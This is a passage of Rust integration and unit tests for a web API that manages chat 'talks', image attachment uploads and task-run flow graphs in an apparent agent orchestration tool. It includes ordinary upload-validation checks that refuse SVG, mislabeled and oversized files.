13065 let id = f.post("/api/talks", None).await.json()["id"]
13066 .as_str()
13067 .expect("id")
13068 .to_owned();
13069 let store = f.talks();
13070 let mut recovered = store.get(&id).expect("opened talk");
13071 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13072 .expect("persist pending draft without a live turn");
13073
13074 let refused = f
13075 .post(
13076 &format!("/api/talks/{id}/say"),
13077 Some(r#"{"text":"new message"}"#),
13078 )
13079 .await;
13080 assert_eq!(refused.status, 409, "{}", refused.body);
13081 assert!(refused.body.contains("resume"), "{}", refused.body);
13082 let saved = store.get(&id).expect("draft remains after refusal");
13083 assert!(saved.turns.is_empty());
13084 assert_eq!(saved.pending, "saved before restart");
13085
13086 let say_path = format!("/api/talks/{id}/say");
13087 let (first, second) = tokio::join!(
13088 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13089 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13090 );
13091 assert_eq!(first.status, 409, "{}", first.body);
13092 assert_eq!(second.status, 409, "{}", second.body);
13093 let saved = store
13094 .get(&id)
13095 .expect("draft remains after concurrent refusals");
13096 assert!(saved.turns.is_empty());
13097 assert_eq!(saved.pending, "saved before restart");
13098
13099 let resumed = f
13100 .post(&format!("/api/talks/{id}/pending/resume"), None)
13101 .await;
13102 assert_eq!(resumed.status, 202, "{}", resumed.body);
13103 let duplicate = f
13104 .post(&format!("/api/talks/{id}/pending/resume"), None)
13105 .await;
13106 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13107
13108 for _ in 0..SETTLE_STEPS {
13109 if store.get(&id).expect("talk").turns.len() == 2 {
13110 break;
13111 }
13112 tokio::time::sleep(Duration::from_millis(10)).await;
13113 }
13114 let finished = store.get(&id).expect("finished talk");
13115 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13116 assert_eq!(finished.turns[0].body, "saved before restart");
13117 assert!(finished.pending.is_empty());
13118 }
13119
13120 #[tokio::test]
13121 async fn an_image_only_recovered_draft_resumes_without_text() {
13122 let (_tmp, _repo, f) = talk_fixture().await;
13123 let id = f.post("/api/talks", None).await.json()["id"]
13124 .as_str()
13125 .expect("id")
13126 .to_owned();
13127 let uploaded = f
13128 .post_bytes(
13129 &format!("/api/talks/{id}/attachments"),
13130 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13131 PNG_BYTES,
13132 )
13133 .await;
13134 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13135 let attachment = f
13136 .talks()
13137 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13138 .expect("attachment metadata")
13139 .expect("stored attachment");
13140 let store = f.talks();
13141 let mut recovered = store.get(&id).expect("opened talk");
13142 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13143
13144 let resumed = f
13145 .post(&format!("/api/talks/{id}/pending/resume"), None)
13146 .await;
13147 assert_eq!(resumed.status, 202, "{}", resumed.body);
13148 for _ in 0..SETTLE_STEPS {
13149 if store.get(&id).expect("talk").turns.len() == 2 {
13150 break;
13151 }
13152 tokio::time::sleep(Duration::from_millis(10)).await;
13153 }
13154 let finished = store.get(&id).expect("finished talk");
13155 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13156 assert!(finished.turns[0].body.is_empty());
13157 assert_eq!(finished.turns[0].attachments.len(), 1);
13158 assert!(finished.pending_attachments.is_empty());
13159 }
13160
13161 #[tokio::test]
13162 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13163 let (_tmp, _repo, f) = talk_fixture().await;
13164 let id = f.post("/api/talks", None).await.json()["id"]
13165 .as_str()
13166 .expect("id")
13167 .to_owned();
13168 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13169 assert_eq!(closed.status, 200, "{}", closed.body);
13170 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13171 .expect("serialize closed talk");
13172 for (path, body) in [
13173 (format!("/api/talks/{id}/pending/resume"), None),
13174 (
13175 format!("/api/talks/{id}/pending/clear"),
13176 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13177 ),
13178 (
13179 format!("/api/talks/{id}/pending/edit"),
13180 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13181 ),
13182 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13183 ] {
13184 let response = f.post(&path, body).await;
13185 assert_eq!(response.status, 409, "{}", response.body);
13186 }
13187 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13188 .expect("serialize closed talk");
13189 assert_eq!(
13190 after_clear, before_clear,
13191 "clear must not rewrite a closed talk"
13192 );
13193 }
13194
13195 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13198
13199 #[tokio::test]
13200 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13201 let tmp = TempDir::new().expect("tempdir");
13202 let repo = tmp.path().join("repo");
13203 std::fs::create_dir_all(&repo).expect("repo dir");
13204 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13205 let f = Fixture::with_repo(repo).await;
13206 let id_a = f.post("/api/talks", None).await.json()["id"]
13207 .as_str()
13208 .unwrap()
13209 .to_owned();
13210 let id_b = f.post("/api/talks", None).await.json()["id"]
13211 .as_str()
13212 .unwrap()
13213 .to_owned();
13214
13215 let a = f
13216 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
13217 .await;
13218 assert_eq!(a.status, 202, "{}", a.body);
13219 assert_eq!(a.json()["thinking"], true);
13220 let b = f
13221 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
13222 .await;
13223 assert_eq!(b.status, 202, "{}", b.body);
13224 assert_eq!(b.json()["thinking"], true);
13225
13226 let listed = f.get("/api/talks").await.json();
13227 for id in [&id_a, &id_b] {
13228 let view = listed
13229 .as_array()
13230 .unwrap()
13231 .iter()
13232 .find(|talk| talk["id"] == *id)
13233 .unwrap();
13234 assert_eq!(view["thinking"], true, "{listed}");
13235 }
13236 let repeated = f
13237 .post(
13238 &format!("/api/talks/{id_a}/say"),
13239 Some(r#"{"text":"again"}"#),
13240 )
13241 .await;
13242 assert_eq!(repeated.status, 202, "{}", repeated.body);
13243 assert_eq!(repeated.json()["pending"], "again");
13244 }
13245
13246 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
13249
13250 #[tokio::test]
13251 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
13252 let f = Fixture::start().await;
13253 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
13254
13255 let res = f
13256 .post_bytes(
13257 &format!("/api/talks/{id}/attachments"),
13258 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13259 PNG_BYTES,
13260 )
13261 .await;
13262 assert_eq!(res.status, 201, "{}", res.body);
13263 let body = res.json();
13264 assert_eq!(body["name"], "shot.png");
13265 assert_eq!(body["mime"], "image/png");
13266 assert_eq!(body["bytes"], PNG_BYTES.len());
13267 let att_id = body["id"].as_str().expect("id").to_owned();
13268 assert_eq!(
13269 att_id.len(),
13270 32,
13271 "the id must never be a client-suppliable path: {att_id}"
13272 );
13273
13274 let got = f
13275 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
13276 .await;
13277 assert_eq!(got.status, 200, "{}", got.body);
13278 assert_eq!(got.header("content-type"), Some("image/png"));
13279 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
13280 assert_eq!(got.bytes, PNG_BYTES);
13281 }
13282
13283 #[tokio::test]
13284 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
13285 let f = Fixture::start().await;
13286 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
13287
13288 let svg = f
13291 .post_bytes(
13292 &format!("/api/talks/{id}/attachments"),
13293 &[("Content-Type", "image/svg+xml")],
13294 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
13295 )
13296 .await;
13297 assert!(
13298 (400..500).contains(&svg.status),
13299 "svg must be refused: {} {}",
13300 svg.status,
13301 svg.body
13302 );
13303 assert!(svg.body.contains("SVG"), "{}", svg.body);
13304
13305 let text = f
13306 .post_bytes(
13307 &format!("/api/talks/{id}/attachments"),
13308 &[("Content-Type", "text/plain")],
13309 b"just some text",
13310 )
13311 .await;
13312 assert!(
13313 (400..500).contains(&text.status),
13314 "an unlisted type must be refused: {} {}",
13315 text.status,
13316 text.body
13317 );
13318
13319 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
13322 let big = f
13323 .post_bytes(
13324 &format!("/api/talks/{id}/attachments"),
13325 &[("Content-Type", "image/png")],
13326 &oversized,
13327 )
13328 .await;
13329 assert_eq!(
13330 big.status,
13331 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
13332 "{}",
13333 big.body
13334 );
13335 }
13336
13337 #[tokio::test]
13338 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
13339 let f = Fixture::start().await;
13340 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
13341
13342 let res = f
13345 .post_bytes(
13346 &format!("/api/talks/{id}/attachments"),
13347 &[("Content-Type", "image/png")],
13348 b"<html>not a picture</html>",
13349 )
13350 .await;
13351 assert!((400..500).contains(&res.status), "{}", res.body);
13352 }
13353
13354 #[tokio::test]
13355 async fn an_unknown_attachment_id_is_a_404() {
13356 let f = Fixture::start().await;
13357 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
13358
13359 let res = f
13360 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
13361 .await;
13362 assert_eq!(res.status, 404, "{}", res.body);
13363 }
13364
13365 #[tokio::test]
13366 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
13367 let f = Fixture::start().await;
13368 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
13369
13370 let uploaded = f
13371 .post_bytes(
13372 &format!("/api/talks/{id}/attachments"),
13373 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13374 PNG_BYTES,
13375 )
13376 .await;
13377 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13378 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
13379
13380 let res = f
13381 .post(
13382 &format!("/api/talks/{id}/say"),
13383 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
13384 )
13385 .await;
13386 assert_eq!(res.status, 202, "{}", res.body);
13387 let queued = res.json();
13388 let turns = queued["turns"].as_array().expect("turns array");
13389 assert_eq!(
13390 turns.len(),
13391 1,
13392 "an empty body with an attachment is still a turn: {queued}"
13393 );
13394 assert_eq!(turns[0]["who"], "operator");
13395 assert_eq!(turns[0]["body"], "");
13396 let atts = turns[0]["attachments"]
13397 .as_array()
13398 .expect("attachments array");
13399 assert_eq!(atts.len(), 1);
13400 assert_eq!(atts[0]["id"], att_id);
13401 assert_eq!(atts[0]["mime"], "image/png");
13402
13403 let on_disk = f.talks().get(&id).expect("get");
13406 assert_eq!(on_disk.turns[0].attachments.len(), 1);
13407 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
13408 }
13409
13410 #[tokio::test]
13411 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
13412 let f = Fixture::start().await;
13413 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
13414
13415 let res = f
13416 .post(
13417 &format!("/api/talks/{id}/say"),
13418 Some(&format!(
13419 r#"{{"text":"hi","attachments":["{}"]}}"#,
13420 "a".repeat(32)
13421 )),
13422 )
13423 .await;
13424 assert!((400..500).contains(&res.status), "{}", res.body);
13425 assert!(res.body.contains("unknown attachment"), "{}", res.body);
13426
13427 let on_disk = f.talks().get(&id).expect("get");
13428 assert!(
13429 on_disk.turns.is_empty(),
13430 "a rejected attachment id must not partially record the turn: {:?}",
13431 on_disk.turns
13432 );
13433 }
13434
13435 #[tokio::test]
13436 async fn talk_close_makes_the_talk_refuse_further_turns() {
13437 let f = Fixture::start().await;
13438 let id = seed_talk(&f, "20260904-014455-cd34", "open");
13439
13440 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13441 assert_eq!(closed.status, 200, "{}", closed.body);
13442 assert_eq!(closed.json()["status"], "closed");
13443
13444 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
13446 assert_eq!(closed_again.status, 200);
13447 assert_eq!(closed_again.json()["status"], "closed");
13448
13449 let said = f
13450 .post(
13451 &format!("/api/talks/{id}/say"),
13452 Some(r#"{"text":"too late"}"#),
13453 )
13454 .await;
13455 assert_eq!(said.status, 409, "{}", said.body);
13456 }
13457
13458 #[tokio::test]
13459 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
13460 let (_tmp, _repo, f) = talk_fixture().await;
13461 let id = f.post("/api/talks", None).await.json()["id"]
13462 .as_str()
13463 .expect("id")
13464 .to_owned();
13465 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13466 assert_eq!(closed.status, 200, "{}", closed.body);
13467
13468 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13469 assert_eq!(reopened.status, 200, "{}", reopened.body);
13470 assert_eq!(reopened.json()["status"], "open");
13471
13472 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13474 assert_eq!(reopened_again.status, 200);
13475 assert_eq!(reopened_again.json()["status"], "open");
13476
13477 let said = f
13478 .post(
13479 &format!("/api/talks/{id}/say"),
13480 Some(r#"{"text":"still there?"}"#),
13481 )
13482 .await;
13483 assert_eq!(
13484 said.status, 202,
13485 "a reopened talk accepts turns again: {}",
13486 said.body
13487 );
13488 }
13489
13490 #[tokio::test]
13491 async fn talk_reopen_on_an_unknown_id_is_404() {
13492 let f = Fixture::start().await;
13493 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
13494 assert_eq!(res.status, 404, "{}", res.body);
13495 }
13496
13497 #[tokio::test]
13498 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
13499 let f = Fixture::start().await;
13500 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
13501
13502 let deleted = f.delete(&format!("/api/talks/{id}")).await;
13503 assert_eq!(deleted.status, 204, "{}", deleted.body);
13504
13505 let after = f.get(&format!("/api/talks/{id}")).await;
13506 assert_eq!(after.status, 404, "{}", after.body);
13507
13508 let listed = f.get("/api/talks").await.json();
13509 assert!(
13510 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
13511 "a deleted talk must not linger in the list: {listed}"
13512 );
13513 }
13514
13515 #[tokio::test]
13516 async fn talk_delete_on_an_unknown_id_is_404() {
13517 let f = Fixture::start().await;
13518 let res = f.delete("/api/talks/nonexistent-id").await;
13519 assert_eq!(res.status, 404, "{}", res.body);
13520 }
13521
13522 #[tokio::test]
13526 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
13527 let f = Fixture::start().await;
13528 let (a, b, gone) = (
13529 "20260902-140501-aaaa",
13530 "20260902-140502-bbbb",
13531 "20260902-140503-cccc",
13532 );
13533 write_run(&f.runs(), a, RunStatus::Stalled);
13534 let mut review = RunState::new(
13535 PathBuf::from("/repo/magi"),
13536 "main".to_owned(),
13537 "0123456789abcdef".to_owned(),
13538 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
13539 .to_owned(),
13540 Config::default(),
13541 );
13542 review.id = b.to_owned();
13543 review.status = RunStatus::Merged;
13544 write_state(&f.runs(), &review);
13545
13546 let mut task = Task::new(
13547 "retry".to_owned(),
13548 "Do the thing".to_owned(),
13549 PathBuf::from("/repo/magi"),
13550 Source::Human,
13551 );
13552 task.start(a.to_owned());
13553 task.stall("quota");
13554 task.start(a.to_owned());
13555 task.start(b.to_owned());
13556 task.start(gone.to_owned());
13557 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
13559 f.queue().put(&mut task).expect("file the task");
13560
13561 let res = f.get(&format!("/api/queue/{}", task.id)).await;
13562 assert_eq!(res.status, 200, "{}", res.body);
13563 let v = res.json();
13564 let h = v["history"].as_array().expect("history");
13565 assert_eq!(h.len(), 4, "{v}");
13566 assert_eq!(h[0]["kind"], "competition");
13567 assert_eq!(h[0]["status"], "stalled");
13568 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
13569 assert_eq!(h[1]["kind"], "resume", "{v}");
13570 assert!(
13571 h[0]["outcome"]
13572 .as_str()
13573 .unwrap()
13574 .contains("unknown. Pass #2"),
13575 "an earlier pass of a resumed run must not claim the final outcome: {v}"
13576 );
13577 assert!(
13578 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
13579 "{v}"
13580 );
13581 assert!(
13582 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
13583 "an unrecorded cause must not be narrated as an operator park: {v}"
13584 );
13585 assert_eq!(h[2]["kind"], "review");
13586 assert!(
13587 h[2]["description"]
13588 .as_str()
13589 .unwrap()
13590 .contains("magi/aaaa/A")
13591 );
13592 assert_eq!(h[2]["status"], "merged");
13593 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
13594 assert_eq!(v["runs_unreadable"], 1);
13595 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
13596 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
13597 assert_eq!(nodes[4]["note"], "unreadable");
13598 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
13599 assert_eq!(v["instruction"], "Do the thing");
13600 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
13601
13602 let run = f.get(&format!("/api/runs/{a}")).await.json();
13604 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13605
13606 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13607 }
13608
13609 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13610 let mut s = RunState::new(
13611 PathBuf::from("/repo/magi"),
13612 "main".to_owned(),
13613 "0123456789abcdef".to_owned(),
13614 "Do it".to_owned(),
13615 Config::default(),
13616 );
13617 s.status = status;
13618 edit(&mut s);
13619 s
13620 }
13621
13622 fn flow_task(runs: &[&str]) -> Task {
13623 let mut t = Task::new(
13624 "t".to_owned(),
13625 "Do it".to_owned(),
13626 PathBuf::from("/repo/magi"),
13627 Source::Human,
13628 );
13629 for r in runs {
13630 t.start((*r).to_owned());
13631 }
13632 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13634 t
13635 }
13636
13637 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13638 let h = task_history(task, |id| {
13639 states
13640 .iter()
13641 .find(|(i, _)| *i == id)
13642 .and_then(|(_, s)| s.clone())
13643 });
13644 task_flow(task, &h, 5, None)
13645 }
13646
13647 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
13648 crate::queue::FollowUp {
13649 run: "20260901-000000-aaaa".to_owned(),
13650 origin_task: origin_task.map(str::to_owned),
13651 pr: "https://example.com/o/r/pull/1".to_owned(),
13652 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
13653 .map(str::to_owned)
13654 .to_vec(),
13655 generation: 1,
13656 }
13657 }
13658
13659 fn parent_task() -> Task {
13660 let mut p = flow_task(&[]);
13661 p.title = "Parent title".to_owned();
13662 p.status = TaskStatus::Done;
13663 p
13664 }
13665
13666 #[test]
13667 fn flow_opens_with_the_parent_task_of_a_followup() {
13668 let p = parent_task();
13669 let pid = p.id.clone();
13670 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
13671 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13672 let n = &f.nodes[0];
13673 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
13674 assert_eq!(
13675 n.label,
13676 format!("Follow-up of {}", crate::queue::short(&pid))
13677 );
13678 assert_eq!(n.detail.as_deref(), Some("Parent title"));
13679 assert_eq!(n.status, Some("done"));
13680 assert_eq!(n.status_of, "task");
13681 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
13682 assert_eq!(f.nodes[1].key, "start");
13683 assert_eq!(f.edges[0].from, "origin");
13684 assert_eq!(
13685 f.edges[0].label,
13686 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
13687 );
13688 }
13689
13690 #[test]
13691 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
13692 let o = followup_origin(
13693 &fu(Some("gone")),
13694 |_| None,
13695 |_| {
13696 Some(RunState::new(
13697 std::path::PathBuf::from("."),
13698 "main".to_owned(),
13699 "0".to_owned(),
13700 "t".to_owned(),
13701 crate::config::Config::default(),
13702 ))
13703 },
13704 );
13705 assert!(o.parent.is_none());
13706 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13707 let n = &f.nodes[0];
13708 assert_eq!(n.status_of, "run");
13709 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
13710 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
13711 }
13712
13713 #[test]
13714 fn flow_followup_with_nothing_readable_has_no_link() {
13715 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
13716 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13717 let n = &f.nodes[0];
13718 assert_eq!(n.href, None);
13719 assert_eq!(n.note, Some("unreadable"));
13720 assert!(!n.readable);
13721 }
13722
13723 #[test]
13724 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
13725 let o = followup_origin(&fu(None), |_| None, |_| None);
13726 let mut t = flow_task(&[]);
13727 t.origin_chat = Some("c1".to_owned());
13728 let f = task_flow(&t, &[], 5, Some(&o));
13729 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
13730 t.source = Source::Agent {
13731 run: "c1".to_owned(),
13732 node: crate::queue::CHAT_NODE.to_owned(),
13733 };
13734 let f = task_flow(&t, &[], 5, Some(&o));
13735 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
13736 assert_eq!(
13737 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
13738 ("chat", "origin")
13739 );
13740 }
13741
13742 #[test]
13743 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
13744 let mut p = parent_task();
13745 p.id = "a b/c".to_owned();
13746 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
13747 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
13748 }
13749
13750 #[test]
13751 fn flow_opens_with_the_chat_that_queued_the_task() {
13752 let mut t = flow_task(&[]);
13753 t.source = Source::Agent {
13754 run: "a b/c".to_owned(),
13755 node: crate::queue::CHAT_NODE.to_owned(),
13756 };
13757 let f = flow_for(&t, &[]);
13758 assert_eq!(f.nodes[0].key, "chat");
13759 assert_eq!(f.nodes[0].kind, "chat");
13760 assert_eq!(
13761 f.nodes[0].label,
13762 format!("Chat {}", crate::queue::short("a b/c"))
13763 );
13764 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
13765 assert_eq!(f.nodes[1].key, "start");
13766 assert_eq!(
13767 f.edges[0],
13768 FlowEdge {
13769 from: "chat".to_owned(),
13770 to: "start".to_owned(),
13771 label: "queued from chat".to_owned(),
13772 attempt: AttemptCost::None,
13773 }
13774 );
13775 }
13776
13777 #[test]
13778 fn flow_has_no_chat_box_for_other_sources() {
13779 for source in [
13780 Source::Human,
13781 Source::Issue {
13782 number: 3,
13783 repo: "o/r".to_owned(),
13784 },
13785 Source::Agent {
13786 run: "20260904-014455-ab12".to_owned(),
13787 node: "implement".to_owned(),
13788 },
13789 ] {
13790 let mut t = flow_task(&[]);
13791 t.source = source;
13792 let f = flow_for(&t, &[]);
13793 assert_eq!(f.nodes[0].key, "start");
13794 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
13795 assert!(f.edges.iter().all(|e| e.from != "chat"));
13796 }
13797 }
13798
13799 const FA: &str = "20260902-140501-aaaa";
13800 const FB: &str = "20260902-140502-bbbb";
13801
13802 #[test]
13803 fn flow_follows_blocked_retry_merged_to_done() {
13804 let mut t = flow_task(&[FA, FB]);
13805 t.status = TaskStatus::Done;
13806 let f = flow_for(
13807 &t,
13808 &[
13809 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
13810 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
13811 ],
13812 );
13813 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
13814 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
13815 assert_eq!(f.edges.len(), 3);
13816 assert_eq!(f.edges[0].label, "claimed");
13817 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
13818 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13819 assert_eq!(f.edges[2].label, "merged \u{2192} done");
13820 assert_eq!(
13821 f.nodes[2].href.as_deref(),
13822 Some("#/runs/20260902-140502-bbbb")
13823 );
13824 assert!(f.nodes[2].decided);
13825 }
13826
13827 #[test]
13828 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
13829 let quota = || {
13830 flow_run(RunStatus::Stalled, |s| {
13831 s.quota.push(crate::run::QuotaLoss {
13832 seat: "judge-1".to_owned(),
13833 node: "judge".to_owned(),
13834 at: Timestamp::now(),
13835 reset: None,
13836 })
13837 })
13838 };
13839 let mut t = flow_task(&[FA, FA]);
13840 t.status = TaskStatus::Queued;
13841 let f = flow_for(&t, &[(FA, Some(quota()))]);
13842 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
13843 assert_eq!(f.nodes[1].note, Some("interrupted"));
13844 assert_eq!(
13845 f.nodes[1].status, None,
13846 "no outcome copied onto an earlier pass"
13847 );
13848 assert_eq!(
13849 f.edges[1].attempt,
13850 AttemptCost::Unknown,
13851 "a resume does not prove the earlier pass was refunded"
13852 );
13853 assert!(f.edges[1].label.contains("resume the same run"));
13854 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
13855 assert_eq!(
13856 f.edges[2].label,
13857 "stalled after a resume, refund unknown \u{2192} queued"
13858 );
13859 assert!(!f.nodes[2].decided, "a stall is not a decision");
13860 assert_eq!(f.nodes[2].note, Some("no verdict"));
13861 }
13862
13863 #[test]
13864 fn flow_single_pass_quota_stall_is_refunded() {
13865 let t = flow_task(&[FA]);
13866 let f = flow_for(
13867 &t,
13868 &[(
13869 FA,
13870 Some(flow_run(RunStatus::Stalled, |s| {
13871 s.quota.push(crate::run::QuotaLoss {
13872 seat: "judge-1".to_owned(),
13873 node: "judge".to_owned(),
13874 at: Timestamp::now(),
13875 reset: None,
13876 })
13877 })),
13878 )],
13879 );
13880 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13881 }
13882
13883 #[test]
13884 fn flow_parked_refunds_and_stall_without_quota_spends() {
13885 let mut t = flow_task(&[FA]);
13886 t.status = TaskStatus::Queued;
13887 let f = flow_for(
13888 &t,
13889 &[(
13890 FA,
13891 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
13892 )],
13893 );
13894 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
13895 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13896 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
13897 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13898 assert!(!f.nodes[1].decided);
13899 }
13900
13901 #[test]
13902 fn flow_keeps_an_unreadable_run_as_its_own_node() {
13903 let t = flow_task(&[FA, FB]);
13904 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
13905 assert_eq!(f.nodes[1].note, Some("unreadable"));
13906 assert!(!f.nodes[1].readable);
13907 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
13908 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
13909 }
13910
13911 #[test]
13912 fn flow_names_the_branch_of_a_review_only_run() {
13913 let t = flow_task(&[FA]);
13914 let f = flow_for(
13915 &t,
13916 &[(
13917 FA,
13918 Some(flow_run(RunStatus::Merged, |s| {
13919 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
13920 })),
13921 )],
13922 );
13923 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
13924 assert_eq!(
13925 f.nodes[1].detail.as_deref(),
13926 Some("review-only run of branch magi/x/A")
13927 );
13928 }
13929
13930 #[test]
13931 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
13932 let mut t = flow_task(&[FA]);
13933 t.status = TaskStatus::Held;
13934 let pr = crate::run::PrRecord {
13935 url: "https://example.test/pr/1".to_owned(),
13936 number: 1,
13937 state: "open".to_owned(),
13938 checks: "green".to_owned(),
13939 round: 0,
13940 rounds: 3,
13941 red_at_merge: Vec::new(),
13942 };
13943 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
13944 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
13945 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
13946 t.status = TaskStatus::Done;
13947 let f = flow_for(&t, &[(FA, Some(blocked))]);
13948 assert_eq!(f.edges[1].label, "closed by hand: task is done");
13949 }
13950
13951 #[test]
13952 fn flow_with_no_runs_goes_from_queued_to_queued() {
13953 let t = flow_task(&[]);
13954 let f = flow_for(&t, &[]);
13955 assert_eq!(f.nodes.len(), 2);
13956 assert_eq!(f.edges.len(), 1);
13957 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
13958 assert_eq!(f.edges[0].attempt, AttemptCost::None);
13959 }
13960
13961 #[test]
13964 fn a_parked_non_terminal_run_is_explained_as_parked() {
